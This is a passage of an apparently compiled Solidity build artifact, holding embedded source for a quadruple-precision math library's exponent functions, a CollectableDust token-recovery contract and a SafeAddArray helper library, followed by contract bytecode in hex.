128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));\\n }\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0x8fab17358acdfdef69b032603d73b5b142d4d9b8d2cc1b0f4a174536fba41b32\",\"license\":\"BSD-4-Clause\"},\"contracts/utils/CollectableDust.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/utils/Address.sol\\\";\\nimport \\\"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"../interfaces/utils/ICollectableDust.sol\\\";\\n\\nabstract contract CollectableDust is ICollectableDust {\\n using SafeERC20 for IERC20;\\n using EnumerableSet for EnumerableSet.AddressSet;\\n\\n address public constant ETH_ADDRESS =\\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\\n EnumerableSet.AddressSet internal _protocolTokens;\\n\\n // solhint-disable-next-line no-empty-blocks\\n constructor() {}\\n\\n function _addProtocolToken(address _token) internal {\\n require(\\n !_protocolTokens.contains(_token),\\n \\\"collectable-dust::token-is-part-of-the-protocol\\\"\\n );\\n _protocolTokens.add(_token);\\n emit ProtocolTokenAdded(_token);\\n }\\n\\n function _removeProtocolToken(address _token) internal {\\n require(\\n _protocolTokens.contains(_token),\\n \\\"collectable-dust::token-not-part-of-the-protocol\\\"\\n );\\n _protocolTokens.remove(_token);\\n emit ProtocolTokenRemoved(_token);\\n }\\n\\n function _sendDust(\\n address _to,\\n address _token,\\n uint256 _amount\\n ) internal {\\n require(\\n _to != address(0),\\n \\\"collectable-dust::cant-send-dust-to-zero-address\\\"\\n );\\n require(\\n !_protocolTokens.contains(_token),\\n \\\"collectable-dust::token-is-part-of-the-protocol\\\"\\n );\\n if (_token == ETH_ADDRESS) {\\n payable(_to).transfer(_amount);\\n } else {\\n IERC20(_token).safeTransfer(_to, _amount);\\n }\\n emit DustSent(_to, _token, _amount);\\n }\\n}\\n\",\"keccak256\":\"0x160bceaa0efe86a5a4296c493053ac5744b4e698b418acde0331e36c4e64b5c3\",\"license\":\"MIT\"},\"contracts/utils/SafeAddArray.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\n// SPDX-License-Identifier: EUPL V1.2\\npragma solidity ^0.8.3;\\n\\n/**\\n * @dev Wrappers over Solidity's array push operations with added check\\n *\\n */\\nlibrary SafeAddArray {\\n /**\\n * @dev Returns the addition of two unsigned integers, reverting on\\n * overflow.\\n *\\n */\\n function add(bytes32[] storage array, bytes32 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(string[] storage array, string memory value) internal {\\n bytes32 hashValue = keccak256(bytes(value));\\n for (uint256 i; i < array.length; i++) {\\n if (keccak256(bytes(array[i])) == hashValue) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256 value) internal {\\n for (uint256 i; i < array.length; i++) {\\n if (array[i] == value) {\\n return;\\n }\\n }\\n array.push(value);\\n }\\n\\n function add(uint256[] storage array, uint256[] memory values) internal {\\n for (uint256 i; i < values.length; i++) {\\n bool exist = false;\\n for (uint256 j; j < array.length; j++) {\\n if (array[j] == values[i]) {\\n exist = true;\\n break;\\n }\\n }\\n if (!exist) {\\n array.push(values[i]);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x91fe76b3329822312f636237bc19bf8d5b1943b489c782b997cde6e1c9bc47af\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x60a06040819052600060808190526200001b91600391620002b8565b5066038d7ea4c6800060055561b13160065560006007556010805460ff191690553480156200004957600080fd5b506040516200627c3803806200627c8339810160408190526200006c9162000487565b6002805460ff19169055600480546001600160a01b038088166001600160a01b031992831617909255600a805492871692821692909217909155600b805490911633179055825180620001065760405162461bcd60e51b815260206004820152601360248201527f6164647265737320617272617920656d7074790000000000000000000000000060448201526064015b60405180910390fd5b82518114620001585760405162461bcd60e51b815260206004820152601e60248201527f62616c616e636573206172726179206e6f742073616d65206c656e67746800006044820152606401620000fd565b81518114620001aa5760405162461bcd60e51b815260206004820152601b60248201527f7765656b73206172726179206e6f742073616d65206c656e67746800000000006044820152606401620000fd565b8351620001bf90600c90602087019062000347565b508251620001d590600d9060208601906200039f565b508151620001eb90600e9060208501906200039f565b5060005b81811015620002ab5762000205816001620005fe565b600f60008784815181106200022a57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508381815181106200027757634e487b7160e01b600052603260045260246000fd5b602002602001015160096000828254620002929190620005fe565b90915550620002a390508162000656565b9050620001ef565b50505050505050620006a0565b828054620002c69062000619565b90600052602060002090601f016020900481019282620002ea576000855562000335565b82601f106200030557805160ff191683800117855562000335565b8280016001018555821562000335579182015b828111156200033557825182559160200191906001019062000318565b5062000343929150620003dc565b5090565b82805482825590600052602060002090810192821562000335579160200282015b828111156200033557825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000368565b8280548282559060005260206000209081019282156200033557916020028201828111156200033557825182559160200191906001019062000318565b5b80821115620003435760008155600101620003dd565b80516001600160a01b03811681146200040b57600080fd5b919050565b600082601f83011262000421578081fd5b815160206200043a6200043483620005d8565b620005a5565b80838252828201915082860187848660051b89010111156200045a578586fd5b855b858110156200047a578151845292840192908401906001016200045c565b5090979650505050505050565b600080600080600060a086880312156200049f578081fd5b620004aa86620003f3565b94506020620004bb818801620003f3565b60408801519095506001600160401b0380821115620004d8578384fd5b818901915089601f830112620004ec578384fd5b8151620004fd6200043482620005d8565b8082825285820191508585018d878560051b88010111156200051d578788fd5b8795505b838610156200054a576200053581620003f3565b83526001959095019491860191860162000521565b5060608c0151909850945050508083111562000564578384fd5b620005728a848b0162000410565b9450608089015192508083111562000588578384fd5b5050620005988882890162000410565b9150509295509295909350565b604051601f8201601f191681016001600160401b0381118282101715620005d057620005d06200068a565b604052919050565b60006001600160401b03821115620005f457620005f46200068a565b5060051b60200190565b6000821982111562000614576200061462000674565b500190565b600181811c908216806200062e57607f821691505b602082108114156200065057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156200066d576200066d62000674565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b615bcc80620006b06000396000f3fe60806040526004361061021d5760003560e01c80638f88f38d1161011d578063bf0d68e4116100b0578063dc0c00c41161007f578063f785f03d11610064578063f785f03d146105e0578063f941717d14610600578063fa3305c91461062d57610224565b8063dc0c00c4146105a0578063e2bbb158146105c057610224565b8063bf0d68e414610524578063c2ee3a0814610544578063c5d1cb6314610560578063cd6c212b1461058057610224565b8063a734f06e116100ec578063a734f06e146104b1578063aa1ec70a146104d9578063aadc68a5146104ef578063b167d4ea1461050457610224565b80638f88f38d146104465780638fd3ab801461045c5780639d7de6b314610471578063a194bcde1461049157610224565b8063481c6a75116101b057806365566d651161017f5780637cc6bd41116101645780637cc6bd41146103f15780637cd07e47146104115780638456cb591461043157610224565b806365566d65146103b957806373d4a13a146103cf57610224565b8063481c6a751461031f5780634956cf1c1461035757806352159150146103815780635c975abb146103a157610224565b80632f72589e116101ec5780632f72589e146102aa5780633b1ba367146102ca5780633f4ba83a146102ea578063422f1043146102ff57610224565b80630c76214114610229578063118c03ec1461025257806323cf3118146102685780632db8c1291461028a57610224565b3661022457005b600080fd5b34801561023557600080fd5b5061023f60085481565b6040519081526020015b60405180910390f35b34801561025e57600080fd5b5061023f60095481565b34801561027457600080fd5b5061028861028336600461576b565b61064d565b005b34801561029657600080fd5b506102886102a53660046157a3565b6106ca565b3480156102b657600080fd5b506102886102c5366004615933565b61080d565b3480156102d657600080fd5b506102886102e5366004615933565b61097c565b3480156102f657600080fd5b50610288611011565b34801561030b57600080fd5b5061028861031a36600461596c565b61114d565b34801561032b57600080fd5b5060045461033f906001600160a01b031681565b6040516001600160a01b039091168152602001610249565b34801561036357600080fd5b506010546103719060ff1681565b6040519015158152602001610249565b34801561038d57600080fd5b5061023f61039c366004615933565b611911565b3480156103ad57600080fd5b5060025460ff16610371565b3480156103c557600080fd5b5061023f60075481565b3480156103db57600080fd5b506103e4611eaf565b60405161024991906159df565b3480156103fd57600080fd5b5061028861040c366004615933565b611f3d565b34801561041d57600080fd5b50600b5461033f906001600160a01b031681565b34801561043d57600080fd5b5061028861256c565b34801561045257